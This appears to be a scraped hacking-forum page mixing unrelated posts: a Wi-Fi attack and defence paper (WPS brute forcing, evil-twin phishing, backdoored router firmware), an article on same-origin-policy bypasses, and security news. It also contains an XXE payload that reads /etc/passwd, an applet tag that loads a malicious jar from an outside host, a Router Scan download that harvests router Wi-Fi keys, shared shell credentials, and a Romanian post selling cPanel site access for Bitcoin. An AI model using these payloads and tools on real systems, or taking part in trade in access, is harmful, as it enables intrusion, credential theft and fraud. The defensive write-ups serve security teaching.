Search the Community

OkayFreedom VPN. A simple VPN service enabling private, uncensored web surfing. Access websites blocked in your country Use all of your favorite websites when abroad Access the web securely – even in public hotspots Surf the Net anonymously Protect your privacy on the internet OkayFreedom VPN Premium (100% Discount)

While the access points in organizations are usually under the protection of organization-wide security policies, home routers are less likely to be appropriately configured by their owners in absence of such central control. This provides a window of opportunity to neighboring Wi-Fi hackers. We talk about hacking a neighbor’s Wi-Fi since proximity to the access point is a must for wireless hacking—which is not an issue for a neighbor with an external antenna. With abundance of automated Wi-Fi hacking tools such as ‘Wifite’, it no longer takes a skilled attacker to breach Wi-Fi security. Chances are high that one of your tech-savvy neighbors would eventually exploit a poorly configured access point. The purpose may or may not be malicious; sometimes it may simply be out of curiosity. However, it is best to be aware of and secure your Wi-Fi against attacks from such parties. Tools Used: Aircrack-ng Suite Wireshark Reaver Bully WiFiPhisher Nessus Vulnerability Scanner Attacks Against Access Point Password The choices of attack for a neighboring Wi-Fi hacker vary with different configurations of Wi-Fi access points. Specific Wi-Fi security standards are associated with particular security weaknesses that the attacker would target. Open Hotspots Although rare, open Wi-Fi access points are still extant in certain homes. When open access points are deployed in homes, it could be out of ‘generosity’ towards neighbors or sheer insouciance towards security, or both. It is observed that home users with unlimited bandwidth and data are more likely to leave their access point unsecured, unaware of the security implications. Attack: Open Wi-Fi networks do not encrypt data packets over wireless channels. This means that anyone with a packet capture utility can read unencrypted HTTP, email, and FTP traffic. In this case, we captured the traffic pertaining to an open Wi-Fi on channel 1 using ‘Airodump-ng’, and analyzed the captured file in Wireshark, which revealed that a user on the network was logging into his (demo) bank account [Figure 1]. Figure 1 While it is highly unlikely today that a banking website would lack an HTTPS link, this is meant to demonstrate the dangers of using unencrypted Wi-Fi along with unencrypted protocols such as HTTP, FTP, SMTP, etc. Defense: Never leave the access point ‘open’ or unsecured. Access the control panel of the wireless router and configure it to use a complex WPA2 key (explained later in this paper). If you insist on using an open access point, consider using ‘HTTPS Everywhere‘ while browsing. WEP IV Collisions WEP is an outdated security standard vulnerable to statistical attacks due to IV collisions. It offers a false sense of security, and in the wake of WPA2, it is hard to think of a reason why one would want to use it. Attack: Since WEP cracking has been covered on myriad blogs and websites already, we will refrain from going into details of attacks against it. For the intricacies of how such attacks are performed, you may visit this page. Defense: Since the use of WEP is now deprecated due to serious security flaws, you should use WPA2 (AES) instead. WPS Based Attacks WPS PIN is an 8 digit number pertaining to the wireless router. It was meant to liberate users from having to remember complex WPA passwords. The idea was that since WPA is susceptible to dictionary attacks, the user would set a complex WPA passphrase and deploy WPS in order to avoid having to remember the passphrase. After supplying the correct WPS PIN to the router, it would hand over the configuration details to the client—which includes the WPA password. Brute forcing the WPS PIN WPS was implemented incorrectly: Firstly, the last digit of the PIN was a checksum which means the effective size of a WPS PIN is only 7 digits. Moreover, the registrar (router) checks the PIN in 2 parts. This means the first part of 4 digits would have 10,000 possible combinations, and the second part of 3 digits would have 1,000 possible combinations. Hence, the attacker would require only 11,000 attempts, in the worst case, to brute force the PIN—which is very feasible. Here, during an experiment, we were able to crack the WPS PIN in under 6 hours using the popular tool ‘reaver’ [Figure 2]. Figure 2 Defense: Make sure you have the latest firmware installed and that your router has a WPS lockout policy (AP rate limiting) after a certain number of unsuccessful attempts. In absence of such lockout policy, turn off WPS in your router. Known WPS PIN The WPS PIN attack becomes incredibly effective and short if the attacker somehow has knowledge of a neighbor’s WPS PIN. Attack: How does the hacker (in this case a neighbor) know the WPS PIN? The PIN is usually written on the bottom of the wireless router. The (evil) neighbor could quickly glance at it during a social visit. Additionally, access points may be left ‘open’ for a certain duration while the user is implementing some router configuration changes or performing a factory reset. This offers a window of opportunity to the attacker to quickly connect to the router, access the control panel (using default credentials), and take note of the WPS PIN [Figure 3]. Figure 3 Once the hacker gains knowledge of the PIN, it could be used to uncover a complex WPA passphrase in seconds. Defense: Scrub off the WPS PIN on the bottom of the wireless router, and avoid leaving your access point ‘open’ at any time. Furthermore, most updated routers will allow the owner to change the WPS PIN from the control panel [Figure 4]. Generate a new WPS PIN periodically. Figure 4 Dictionary Attacks on WPA Handshakes As long as strong, complex WPA passphrases are used to protect the access points, dictionary attacks on WPA handshakes are not really a concern. However, every once in a while a user will configure a dictionary word as the WPA password for the sake of simplicity. This leads to successful recovery of passwords from the WPA 4-way handshakes using dictionary attacks. Attack: The attacker seeks to capture the WPA 4-way handshake between a legitimate client and the access point. A dictionary attack is used to recover the plaintext passphrase from this WPA handshake. For the intricacies of this attack, you can visit this page. Defense: Configure complex passphrases that are a combination of special characters, numbers, letters, etc. Never use personal information such as your phone number as the WPA passphrase, as it might be guessed. Wi-Fi Phishing When all else fails, social engineering could always be relied upon to exploit what is often the weakest link in the chain of security—the human element. Phishing is a type of social engineering attack where the user of the Wi-Fi access point could be tricked into revealing the password. Attack: Traditionally, such phishing attacks are carried out over emails; however, in this case even a naïve user would get suspicious if the attacker asks for a WPA password over email. Hence, the best approach is to launch an evil twin attack, make the user join the fake access point, and ask for the password. WiFiPhisher, a python tool, implements this approach. First, the tool prepares the attacker’s machine for the attack. This involves setting up the HTTP and HTTPS servers, detecting the wireless interfaces (wlan0 and wlan1), putting one of these interfaces in monitor mode, and managing DHCP services for IP address allotment [Figure 5]. Figure 5 The tool then detects the Wi-Fi access points in the vicinity and lists them for the attacker [Figure 6]. The attacker then specifies the access point to attack. Figure 6 After the attacker chooses the access point, the tool clones the ESSID and attempts to jam the authentic access point. This is important since the attacker wants the users to get de-authenticated from the legitimate network and connect to the evil twin. If the users are not knocked off their authentic access point, or if the attacker’s evil twin access point is too far away for the users to get a strong signal from it, then the attack does not work, since no users will connect to the evil twin. This evil twin access point is now waiting for clients to connect. When a client connects, the attacker is notified that an IP address is allocated to a client. In this case, we notice that an Android device has connected to the evil twin [Figure 7]. Figure 7 Now, it is just a matter of time before this client attempts to access a webpage online. When the client requests a webpage, our HTTP or HTTPS server would serve the phishing page instead. For instance, here the client, the Android device, requested to connect to Google and was served the phishing page instead [Figure 8]. Figure 8 The attacker is notified of the client’s request for the web page and knows now that the client has been served the phishing page [Figure 9]. Figure 9 Moment of truth: either the user gets suspicious and closes the connection, or falls for the con and provides the WPA password as requested [Figure 8]. The user is redirected to an “upgrade-in-progress” page after he submits the WPA password [Figure 10]. Figure 10 Meanwhile, the password is revealed to the attacker over the console [Figure 11]. Figure 11\ The user may end up revealing the password due to the following reasons: The user surmises that he is connected to his own legitimate access point. The phishing page is intentionally cloaked to appear as an authentic router page. User has a curiosity towards the open access point with the same ESSID. Defense: Always be wary of any page asking for a password. Avoid giving out the WPA password over shady pages. Aftermath: The Hacker is in Once the attacker has obtained the password and is connected to the access point, he would attempt to explore further. The first point of interest is the router’s control panel. Default credentials: A surprising number of home users do not change the default credentials to their router’s management panel. Router default credentials can be obtained on the Internet, and subsequent access to this management console grants the hacker further privileges on the network. Digging PIN and passwords: Once inside the Wi-Fi management panel, the hacker would note down the WPS PIN and any hidden password for future use. “Hidden” passwords behind asterisks are easy to uncover. For instance, we uncover the ‘admin’ and ‘user’ passwords germane to a router using ‘Inspect element’ in Chrome [Figure 12]. Figure 12 Exploiting clients: Since the attacker is now a part of the local network, he can initiate local scans to glean details of clients, services, ports etc. This allows the attacker to target vulnerabilities pertaining to clients connected to the network [Figure 13]. Figure 13 DNS Manipulation: If the attacker has secured access to the router’s control panel, he can modify the DNS configuration which has severe implications on security. For example, the attacker could plant a fake DNS entry to redirect clients using an online banking service to a rogue server serving phishing pages. Maintaining Access: A persistent neighboring hacker requiring prolonged access to the Wi-Fi access point would want to ensure continued access even after the current password or security protocol is modified later by the owner. Accordingly, the hacker would access the router control panel and take note of the WPS PIN [Figure 4]. More advanced attackers would try to plant a backdoor in the router firmware, such as a master password, that would allow them to access the Wi-Fi at will in the future. However, this involves flashing custom firmware, such as DD-WRT, to the router. DD-WRT provides open source router firmware for numerous wireless router models. The attacker would download the appropriate DD-WRT firmware, modify the source code to include a master password or backdoor, and flash this firmware to the router using the router control panel DDW1 [Figure 14]. Figure 14 Conclusion The purpose of this paper is not to condone hacking your neighbors’ Wi-Fi, rather to apprise owners of common security weaknesses in Wi-Fi configurations and suggest relevant mitigation. “Since I have unlimited data and bandwidth, I do not mind if an unknown person is using my Wi-Fi.” While this generosity is worthy of some appreciation, bandwidth and data usage are not the only concerns when your Wi-Fi is accessed by an unauthorized party. Consider the case where a neighbor attempted to indict the owners after cracking their WEP key and accessing child pornography websites. Since it is your network, the ISP and authorities turn to you while investigating illicit activities. Router manufacturers provide GUI control panels that make it easy for owners to configure their access points. It is best to utilize these interfaces for secure configuration of access points that are capable of thwarting attacks from neighbors. References [1] DD-WRT. DD-WRT. [Online]. Development - DD-WRT Wiki [2] Nikita Borisov, Ian Goldberg, and David Wagner. isaac.cs.berkeley.edu. [Online]. (In)Security of the WEP algorithm [3] Sean Gallagher. (2014, January) ArsTechnica. [Online]. Backdoor in wireless DSL routers lets attacker reset router, get admin | Ars Technica Source

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model). Let’s consider one example in a physical world scenario. Imagine a school where all students within have a different origin. One class has many students, but all are unrelated. If a guardian makes a request to the school staff for his/her son’s classmate’s progress report, the school staff would deny the same as he/she not authenticated for the same. Similarly, if the school received a request for checking a student’s progress report, first they would ensure the requester is a guardian/parent/close relation of the student before granting student’s details/progress report. This is closely related to the browser with the same origin policy (SOP). Now, imagine a school that allowed access to anyone’s progress report to any guardian from the outside world – that would be like a browser without SOP. The same origin policy mechanism defines a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information. A strict segregation between content provided by unrelated sites must be maintained on the client side to prevent the loss of data confidentiality or integrity. Same origin policy: Is it really important? Assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse. Understand SOP with DOM: Same origin policy weds document object model When we talk about how JavaScript can access DOM policies, we consider the 3 portions of the URL, which are HOST NAME + SCHEME + PORT. If more than one application has the same hostname, scheme and port and is trying to access the DOM data, access will be granted. However, Internet Explorer only validates hostname + scheme before accessing the same. Internet Explorer does not care about PORT. This is traditional scenario which works well when accessing the same with one origin. In many cases, multiple hosts could be possible within the same root domain which accesses the source page’s DOM. Google is one example, which takes a series of sites’ authentication from the central authentication server. For instance, cart.httpsecure.org may take authentication through login.httpsecure.org. In such cases, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM (document object model). If you want to allow the code from cart.httpsecure.org to interact with the login.httpsecure.org, the developer will need to set the document.domain property to the root of the domain on both sites. i.e. document.domain = “httpsecure.org” This means that anything in the httpsecure.org domain can access the DOM in the current page. When setting up this way, you should keep in mind that if you deployed another site on the Internet, such as about.httpsecure.org, with some vulnerability, cart.httpsecure.org may vulnerable too and could be accessed at this origin. Let’s suppose an attacker is successfully able to upload some malicious code – then about.httpsecure.org would have same level of access as the login site. Understand SOP with CORS: Same origin policy weds cross-origin resource sharing Cross-origin resource sharing (CORS) is a mechanism that allows many resources (e.g. fonts, JavaScript, etc.) on a web page to be requested from another domain outside the domain from which the resource originated. Let’s suppose an application uses an XMLHttpRequest to send a request to a different origin. In this case you cannot read the response, but the request will arrive at its destination. That’s a very useful feature of cross-origin requests. The SOP also prevents you from reading the HTTP response header and body. The best way to relax the SOP and allow cross-origin communication with XHR is using cross-origin resource sharing (CORS). If the httpsecure.org origin returns the following response header, then every subdomain of httpsecure.org can open a bidirectional communication channel with httpsecure.org: Access-Control-Allow-Origin: *.Httpsecure.org Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true In the above response header, the first line describes the bidirectional communication channel. The second describes that the request can be made using any of the OPTIONS, GET, POST, PUT, HEAD methods, eventually including the third line x-custom header. Access-Control-Allow-Credentials:true specify for allowing authenticated communication to a resource. Understand SOP with plugins: Same origin policy weds plugins Note: If a plugin is installed for httpsecure.org:80, then it will only have access to httpsecure.org:80. Many SOP implementations in Java, Adobe Reader, Flash and Silverlight are currently suffering from different bypass methods. Most of the browser plugins implement the SOP in their own way, such as some versions of Java consider two different domains to have the SOP if the IP is the same. This might have a devastating result in a virtual hosting environment, which host multiple applications with the same IP address. If we talk about some plugins, such as Flash player and the PDF reader plugin, they have a long critical vulnerability history. Most of these issues allow an attacker to execute remote arbitrary code, which is far more critical than SOP bypass. In Flash, you can use the method which allows you to manage cross-origin communication, which can be done using crossdomain.xml, which resides in the root of the application file and might have some of the following code. <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.httpsecure.org" /> </cross-domain-policy> Using this code subdomain of httpsecure.org can achieve two-way communication with the application. Crossdomain.xml also supports Java and Silverlight plugins. Understand SOP with UI redressing: Same origin policy weds UI redressing UI redressing is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. UI redressing also known as clickjacking. For the attacker to bypass the SOP, it’s is little different. Some of these attacks rely on the fact the SOP was not enforced when performing the drag and drop function from the main window to an iframe. Understand SOP with browser history: Same origin policy weds browser history When we talk about browser history, the privacy of the end user always a concern. The same origin policy with browser history attack relies on traditional SOP implementation flaws, such as HTTP scheme having access to another scheme. Bypass SOP in Java Let talk about Java versions 1.7u17 and 1.6u45, which don’t enforce the SOP if two domains resolve to the same IP. Httpsecure.org and httpssecure.com resolve to the same IP (share hosting concept). A Java applet can issue cross-origin requests and read the responses. In Java versions 6 and 7, both have an equal method of the URL object. Two hosts are considered equivalent if both host names can be resolved into the same IP address. This type of vulnerability in Java SOP implementation is a critical issue when exploiting in virtual hosting environments where potentially hundreds of domains are managed by the same server and resolved to the same IP. The most important consideration concerning the privileges required by the applet to use the URL are BufferedReader and InputStreamReader objects. In Java 1.6, no user interaction is required to run the applet, however in 1.7, user permission is required to run the same due to the changes in the applet delivery mechanism implemented by Oracle Java 1.7. Now the user must explicitly use the click to play feature to run unsigned and signed applets. This feature can be bypassed using IMMUNITY and led to a subsequent (now patched) bug CVE-2011-3546 found to bypass SOP in Java. Similarly, a SOP bypass was found in Adobe reader. One of the security researchers Neal Poole found one issue: “If the resource used to load an applet was replying with 301 or 302 redirect”, the applet origin was evaluated as the source of the redirection and not the destination. Have a look at the following code: <applet code="malicious.class" archive="http://httpsecure.org?redirect_to= http://securityhacking123.com/malicious.jar" width="100" height="100"> </applet> Bypassing SOP in Adobe Reader Adobe Reader has number of security critical bugs in its browser plugin. Most of the security vulnerabilities are arbitrary code execution due to traditional overflow problems. The Adobe Reader PDF parser understands JavaScript. This attribute is often used by malware to hide malicious code inside PDFs. CVE-2013-0622, found by Billy Rios, Federico Lanusse and Mauro Gentile, allows bypassing the SOP (unpatched 11.0.0 version below). Where exploiting an open redirect which allows a foreign origin to access the origin of the redirect, the request that returns a 302 redirect response code is used to exploit the vulnerability. If we talk about XXE Injection, it involves trying to inject malicious payloads into the request that accepts XML input as below: <!DOCTYPE bar > <!ELEMENT bar ANY > <!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar> In this XML parser that allows external entities, the value of &XXE is then replaced by the /etc/passwd. This technique can be used to bypass the SOP. It will load XE and the server will serve you with a 302 redirect response. Bypassing SOP in Adobe Flash Adobe Flash uses the crossdomain.xml file, which can control applications wherever Flash can receive data. We can set a restriction on this file to only trust mentioned sites as follows: <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*" /> </cross-domain-policy> By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses. Bypassing SOP in Silverlight Silverlight is a Microsoft plugin that uses the same origin policy in the same way as Flash does. However, it uses clientaccess-policy.xml codes shown below: <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy> Keep in mind that Flash and Silverlight have differences, such as Silverlight doesn’t segregate access between different origins based on scheme and port as Flash and CORS do. So, https://Httpsecure.org and http://Httpsecure.org consider the same origin policy. Bypassing SOP in Internet Explorer Internet Explorer 8 or below are vulnerable to SOP bypass in their implementation of document.domain. The issue can be exploited easily by overriding the document object and then the domain property. The following code demonstrates the same: var document; document = {}; document.domain = ‘httpsecure.org'; alert(document.domain); his code may cause a SOP violation error code in the JavaScript console if you run this in the latest browser. The same will work in older/legacy browser of Internet Explorer. Using XSS this can be exploited and can open bidirectional communication with other origins. References http://en.wikipedia.org/wiki/Same-origin_policy http://en.wikipedia.org/wiki/Cross-origin_resource_sharing http://en.wikipedia.org/wiki/Clickjacking https://browserhacker.com/ Source

Twin brothers in Virginia were indicted Thursday on computer hacking and other charges. Muneeb and Sohaib Akhter and co-conspirators allegedly hacked into the website of a cosmetics company and stole customer credit card data and personal information, according to a Thursday release. The 23-year-old brothers used the information obtained in the scheme to purchase goods and services such as flights and hotel reservations, and even to register to attend professional conferences, the release indicated. The duo and co-conspirators are also charged with hacking government systems. “In addition, the brothers and co-conspirators devised a scheme to hack into computer systems at the U.S. Department of State to access network traffic and to obtain passport information,” the release stated. The two men are charged with aggravated identity theft, conspiracy to commit wire fraud, conspiracy to access a protected computer without authorization, access of a protected computer without authorization, conspiracy to access a government computer without authorization, false statements, and obstruction of justice. If convicted on all counts, Muneeb Akhter faces a maximum 59 years in prison and Sohaib Akhter faces a maximum 39 years in prison. Source

Mohamed Idris has created a tool to help network administrators discover and DoS rogue access points. The EvilAP Defender open source tool published to GitHub can be run by admins at intervals to determine if attackers are attempting to get their users to connect to malicious networks. Those evil twin attack networks are powerful copycats of legitimate access points that attempt to get users to connect in a bid to harvest subsequent traffic. Idris says the tool will send email alerts to admins when evil twins are detected, and launch denial of service attacks to buy time. "Additionally you can configure the tool to perform DoS on discovered evil AP in order to give the administrator more time to react," Idris says. "However, notice that the DoS will only be performed for evil APs which have the same SSID but different BSSID (AP’s MAC address) or running on a different channel. This to avoid DoS your legitimate network." More features are being added including on the back of Reddit network security discussion, including SMS notification. It presently paints access points as evil based on BSSIDs and attributes including channels, ciphers, protocols, Organizationally Unique Identifiers, and authentication. Admins can put the tool in learning mode so that it can identify friendly networks. Users are invited to email Idris about the tool at moha99sa via yahoo.com. Bootnote: Launching denial of service attacks against something you don't own, even a very obvious Evil Twin, could be illegal. Effective, clever, but illegal. Source

UnixSSH.com – Free shell server provider based on FreeBSD/OpenBSD/NetBSD/Solaris. On our servers you can run IRC bouncers, servers and bots. Also you can found many advanced and standard tools for programming or network diagnostics. Shell environment is very secure and protected from other users (home directory, process, etc.) Shell features: HDD: 400MB MySQL: 100MB RAM: 512MB VRAM: 3500MB Proc: 20 - You can run IRC bot, IRC server, Screen, tmux - Personal website and vhost username.unixssh.com - MySQL (local and remote access) - FTP access - SSH access to shell - Extensive programming environment (C, C++, Perl, Python, JAVA(1.6, 1.7), PHP, Mono) - A lot installed software on shell (Catalyst, Django, Zope, Pylons, Boost C++, nasm, Ruby, Ruby on Rails, Erlang, MongoDB, Apache Maven, Tcl, Lua, Oidentd, Node.js, rhodecode, midnight commander, links, curl, unzip, unrar, unarj, unace, wget, git, cvs, rsync, subversion etc. - irssi, epic5, weechat, screen, tmux, znc, eggdrop, oidentd, psybnc, etc For more information check out our site UnixSSH.com or create account now Host: unixssh.com Port: 44 SSH Login: newx Pass: newx

In a House Appropriations subcommittee hearing this morning on the FBI budget for the upcoming fiscal year, FBI Director James Comey was again critical of new encryption features from Apple and Google that he claims would make it impossible for law enforcement to access the contents of mobile device communications. This is not the first time the U.S. law enforcement and intelligence-gathering community has aired this complaint. Last month, NSA director Mike Rogers hit similar talking points at a New America Foundation event in D.C., calling on Congress to draft legislation providing a legal framework accessing encrypted communications. Comey claimed encryption was leading us to “a very, very dark place” in October of last year. The concerns follow announcements from Apple and Google that they deployed encryption for which not even they had the keys back in October. Today though, Congress got involved. “The new iPhone 6’s have an encryption in it that you can’t get in to and there is no backdoor key,” said Rep. Robert Aderholt (R-AL) as he reached into his pocket and pulled out his iPhone. “This is different from their predecessors. Their other phones you were able to get into. What is the FBI’s position on Google and Apple’s decision to encrypt these smart phones?” Comey replied that this reality was a huge problem for law enforcement because these new encryption implementations would make it impossible for law enforcement to execute court ordered warrants where phones were locked and communications data encrypted. “We’re drifting toward a place where a whole lot of people are going to be looking at us with tears in their eyes,” Comey argued, “and say ‘What do you mean you can’t? My daughter is missing. You have her phone. What do you mean you can’t tell me who she was texting with before she disappeared?” Comey went on to assure the attending members of Congress that he wasn’t seeking backdoors. He said he wants a way to access the content and communications data belonging to the subjects of criminal investigations after obtaining a warrant. Comey claims that local law enforcement officials around the country are very concerned, because, they claim, mobile communications content play an integral various investigations. While Comey was unable to quantify the effect of encryption technologies on FBI investigatory work, he did claim that it has become an obstacle in a massive amount of cases, saying it would only become more of a problem moving forward. “I’ve heard tech executives say privacy should be the paramount virtue,” Comey said. “When I hear that, I close my eyes and say, ‘Try to imagine what that world looks like where pedophiles can’t be seen, kidnappers can’t be seen, drug dealers can’t be seen.'” Rep. Aderholt then asked Comey what he needs from Congress in order to address the problem. Comey acknowledged that the issue is a complex one, but ultimately that the only reasonable fix would be a legislative one and not a financial one. “If you want to do business in this country,” Comey warned, “then you’re not going to be allowed to create spaces that are beyond the reach of the law.” Rep. John Carter (R-TX) wondered how companies are able to encrypt phones in such a way that their contents cannot be accessed while also getting compromised by attacks. “Cyber is just pounding me from every direction, and every time I hear something or something pops into my head, because I don’t know anything about this stuff, [but] if they can do that to a cell phone then why can’t they do that to a computer so no one can get into it,” Carter reasoned. “If that’s the case, then isn’t that a solution to the invaders from around the world trying to get in here?” Somehow Carter reigned in his stream of thought and brought it back to the point at hand, suggesting to his colleagues that encrypted smartphones were the perfect tool for lawlessness and in fact a violation of the Fourth Amendment, which allows for lawful search and seizure under warrant. In an attempt to make sense of the issue, the Representatives explained to one another that no safe in the world is unbreakable, so how is it legal that there could be encryption that is not accessible. They seemed to agree that the analogy was a valid one, though it some would argue that a safe and a cell phone are in reality nothing alike. On that note, Rep. Michael Honda (D-CA) suggested that potential legislation seeking access to phone data may be more akin to laws governing access to the content of a suspect’s own mind than to laws dealing with physical access. He contended that some sort of force of law compelling suspects to testify or disclose the information to access their phone under threat of contempt could be another way to work around encryption. Source

Router Scan is able to find and identify a variety of devices from a variety of known routers / routers, and most importantly - to pull out of them useful information, in particular the characteristics of the wireless network: a way to protect the access point (encryption), access point name (SSID) and key access point (passphrase). Also receives information about the WAN connection (useful when scanning the local network) and outputs the make and model of the router. Getting information occurs in two possible ways: the program will try to pick up a couple of login / password to the router from the list of standard passwords, resulting gain access. Or will be used non-destructive vulnerability (or bugs) for the router model, allowing to obtain the necessary information and / or to bypass the authorization process. TinyUpload.com - best file hosting solution, with no limits, totaly free pass: Stas'M Corp. Virus total https://www.virustotal.com/en/file/a5f42a031933c0db2198aa24adb0799290aa0bbba9a9fe556fe7efb60d616602/analysis/

ANTLabs today is expected to roll out patches for a vulnerability in its InnGate Internet gateways that are popular in hospitality and convention locations. The gateways provide temporary Internet access to hotel guests or conference attendees using kiosks, for example. The vulnerability (CVE-2015-0932), discovered by security company Cylance, gives an attacker remote read and write access to the device’s file system. “Remote access is obtained through an unauthenticated rsync daemon running on TCP 873. Once the attacker has connected to the rsync daemon, they are then able to read and write to the file system of the Linux based operating system without restriction,” wrote researcher Brian Wallace in an advisory published today. Full read and write access can be leveraged for remote code execution and enable a hacker to backdoor the device or add an executable or a new authenticated root-level user, Cylance said. “Once full file system access is obtained, the endpoint is at the mercy of the attacker,” Wallace wrote. The exposed rsync command is trivial to abuse, Wallace said, using a few commonly known Linux or UNIX commands to find available rsync shares and list files in the root. There are also rsync commands for uploading and downloading files. Rsync is a utility on Linux and UNIX machines that is used for file synchronization and file transfers either locally or between remote computers. While the risk with such a vulnerability is generally limited to crimes such as fraud and identity theft, a research report last November from Kaspersky Lab on the DarkHotel APT group shows that targeted attacks against business hotel Wi-Fi networks is not out of the question. DarkHotel operates in Asia primarily compromising said Wi-Fi networks, infecting users as they connect with a phony software update such as Adobe Flash, which instead pushed a digitally signed piece of malware that includes a keylogger and other data-stealing capabilities that is sent via a backdoor to the attackers. The DarkHotel campaign also was able to access other systems on hotel networks such as machines running registration information. This capability allowed the APT group to infect only specific guests with the phony update installer. Cylance said its vulnerability is severe and requires little sophistication to exploit. “An attacker exploiting the vulnerability in CVE-2015-0932 would have the access to launch DarkHotel-esque attacks against guests on the affected hotel’s WiFi. Targets could be infected with malware using any method from modifying files being downloaded by the victim or by directly launching attacks against the now accessible systems,” Wallace said. “Given the level of access that this vulnerability offers to attackers, there is seemingly no limit to what they could do.” Cylance said it scanned the Internet’s IPv4 space for the ANTLabs devices and found 277 that could be compromised from the Internet, most of those in North America, but some in Asia, the Middle East and Europe. In addition to applying the patch upon its release, Cylance said locations running the vulnerable devices could block unauthenticated rsync processes via a TCP-DENY command on port 873. Source

Romanian citizen Mircea-Ilie Ispasoiu made his first appearance in a New Jersey federal court after being extradited to the U.S. for allegedly orchestrating an international hacking scheme. The cyber attack targeted medical offices, retailers, security companies and United States residences, according to a Department of Justice release. Between 2011 and 2014, Ispasoiu worked as a computer systems administrator at a large Romanian financial institution. There he allegedly hacked into multiple private and business networks, including a company that ran background checks. He was able to access thousands of credit and debit card numbers and personal identifiers. Ispasoiu is facing multiple charges of aggravated identity theft, unauthorized computer access to obtain information, unauthorized computer access that caused damage, and wire fraud. If convicted, he could face more than 30 years in prison and millions of dollars in fines. Source

GitHub has been ordered to hand over records on some of its users to taxi-booking app Uber after unsuccessfully challenging a subpoena. Last month, Uber announced its driver database had been hacked in May 2014, but it had only noticed in September of that year. Uber discovered that a supposedly secret database access key had somehow ended up in a couple of Gists in a public area of GitHub. It's alleged this key was spotted by miscreants who used the key to delve into Uber's internal database of driver names and license plates. Uber asked GitHub to hand over the web access logs for the two Gist pages for the May-September period. GitHub refused, and so on 27 February this year, Uber created a John Doe lawsuit in order to subpoena GitHub to hand over the logs. Earlier this month, GitHub challenged the subpoena in a San Francisco court but lost, with the judge late last week giving GitHub 30 days to comply. Uber argued during the hearing that the two Gist posts (both of which have been offline since the lawsuit was filed) should have had very little traffic, and the data on who visited them "should generally reveal people, who were affiliated with Uber and who worked on the Uber code near the time of the unauthorized download." The judge also found that Uber had "shown that its need for early discovery outweighs the prejudice to GitHub, as GitHub is an established provider who routinely deals with discovery requests and would suffer little burden from producing the requested information." In other words: hand it over, GitHub. We asked GitHub and Uber to comment on the case; both companies are based around the corner from our office in San Francisco. GitHub told us: "We don't have any additional info to share." Uber's lawyer has yet to return our call or email. Source

Yahoo! has offered $24,000 to a security researcher for finding out and reporting three critical security vulnerabilities in its products including Yahoo! Stores and Yahoo!-hosted websites. While testing all the company's application, Mark Litchfield, a bug bounty hunter who often works with different companies, discovered three critical vulnerabilities in Yahoo!'s products. All the three vulnerabilities have now been fixed by Yahoo!. THREE CRITICAL SECURITY VULNERABILITIES The first and most critical vulnerability gives hackers full administrator access to Yahoo!'s e-commerce platform, Yahoo! Small Business, a portal that allows small business owners to create their own web stores through Yahoo! and sell merchandise. According to the researcher, the flaw in the service allowed him to fully administrator any Yahoo store and thereby gain access to customers' personally identifiable information, including names, email addresses, telephone numbers. BUG ALLOWS FREE SHOPPING Beside allowing hackers full admin access to the web stores, the vulnerability could also leverage an attacker to rig a user-run eCommerce web store to let them shop for free, or at a huge discount, Litchfield claimed. A separate but related vulnerability in Yahoo! Stores, second flaw discovered by Litchfield, allows an unauthorized user to edit Yahoo-hosted stores through the app, thereby creating a means for hackers to hijack an online website store. Last but not the least, Litchfield discovered a critical vulnerability in Yahoo’s Small Business portal that allows hackers to seize administrative access to Yahoo!-hosted websites and gain full, unauthorized access to them. The Internet giant patched all the three bugs two weeks ago after Litchfield publicly released details and proof of concepts for the exploits on Bug Bounty HQ, a community for Bug Bounties website, established by Litchfield last month for fellow hunters to share their findings. 'ON DEMAND PASSWORD' At recent SXSW session, Yahoo! launched 'on-demand passwords,' which it says will eliminate the need for you to ever remember your email password. Whenever you need it, the company will send you a OTP (one time password) via SMS to your mobile phone. It's sort of two-factor authentication—without the first factor involved, as there is no need of any log-in password to enter by a user. In order to opt-in for the feature follow some simple steps: Sign in to your Yahoo email account. Click on your name at the top right corner to access your account information page. Choose Security in the sidebar. Click on the slider for on-demand passwords, in order to opt-in. Enter your phone number and Yahoo will send you a verification code. Enter the code. Now, next time whenever you will sign in into your email account, Yahoo will send a password via an SMS to your phone when you need it. Also, the end-to-end email encryption that Yahoo! promised will be available soon by the end of this year. The company gave its first demonstration of the locked down messaging system at SXSW session, and it is also delivering early source code for security researchers to analyze. Source

Salut,vand un cont de cpanel reseller care contine si un site destul de bun: x 60.000 vizitatori unici/zi x Trafic de Egypt/Saudi Arabia Pretul este 200 Usd Bitcoin sau PM Nu pun site-ul aici,il dau doar prin mesaj privat,persoanelor de incredere. Pot oferi dovada ca am access la site,pot oferi print screen din AwStats,pentru a demonstra vizitatorii etc.

